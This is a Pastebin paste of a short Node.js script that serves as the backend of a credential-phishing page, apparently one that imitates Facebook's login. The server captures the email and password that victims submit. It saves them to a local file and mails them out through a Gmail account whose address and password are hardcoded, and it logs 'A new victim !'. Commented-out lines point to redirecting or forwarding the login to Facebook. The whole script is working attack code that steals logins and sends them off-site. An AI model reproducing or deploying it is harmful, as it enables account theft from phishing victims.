Advertisement
Guest User

Untitled

a guest
Nov 2nd, 2018
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.29 KB | None | 0 0
  1. const nodemailer = require("nodemailer");
  2. const smtpTransport = require('nodemailer-smtp-transport');
  3. var request = require('request');
  4. var http = require('http');
  5. var url = require('url');
  6. var fs = require('fs');
  7.  
  8. console.log("Started...");
  9.  
  10. http.createServer(function(req, res){
  11.  
  12. res.writeHead(200, {'Content-Type': 'text/html'});
  13.  
  14. var parsedUrl = url.parse(req.url, true);
  15. var data = parsedUrl.query;
  16. var email = data.email;
  17. var pass = data.pass;
  18.  
  19. if (email)
  20. fs.appendFile('data.txt', email + '\n', function(err)
  21. {
  22. if (err)
  23. {
  24. throw err;
  25. }
  26. });
  27.  
  28. if (pass)
  29. fs.appendFile('data.txt', pass + '\n', function(err)
  30. {
  31. if (err)
  32. {
  33. throw err;
  34. }
  35. });
  36.  
  37. fs.appendFile('data.txt', '\n', function(err)
  38. {
  39. if (err)
  40. {
  41. throw err;
  42. }
  43. });
  44.  
  45. //res.write('<script>window.location="https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110"</script>');
  46.  
  47.  
  48. // request.post(
  49. // 'https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110',
  50. // {
  51. // json: { 'email': email, 'pass': pass} },
  52. // function (error, response, body) {
  53. // if (!error && response.statusCode == 200) {
  54. // console.log(body)
  55. // }
  56. // }
  57. // );
  58.  
  59.  
  60.  
  61. var transport = nodemailer.createTransport(smtpTransport({
  62. service: 'gmail',
  63. auth: {
  64. user: 'lavinia.adochitei15@gmail.com', // my mail
  65. pass: '6Km8PSFv7LM5u8M'
  66. }
  67. }));
  68. console.log("Ok...");
  69. let mailOptions = {
  70. from: '<foo@blurdybloop.com>', // sender address
  71. to: 'lavinia.adochitei15@gmail.com', // the same mail = want to send it to myself
  72. subject: 'Hello ✔', // Subject line
  73. text: 'Email: ' + email + ' Pass: ' + pass, // plaintext body
  74. html: '<b>Hello world ✔</b>' // html body
  75. };
  76. console.log("ok2...");
  77. transport.sendMail(mailOptions, function(error, info){
  78. console.log("ok3...");
  79. if(error){
  80. return console.log(error);
  81. }
  82. console.log('Message sent: ' + info.response);
  83.  
  84. });
  85. console.log("A new victim !");
  86. res.end();
  87. }).listen(3000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement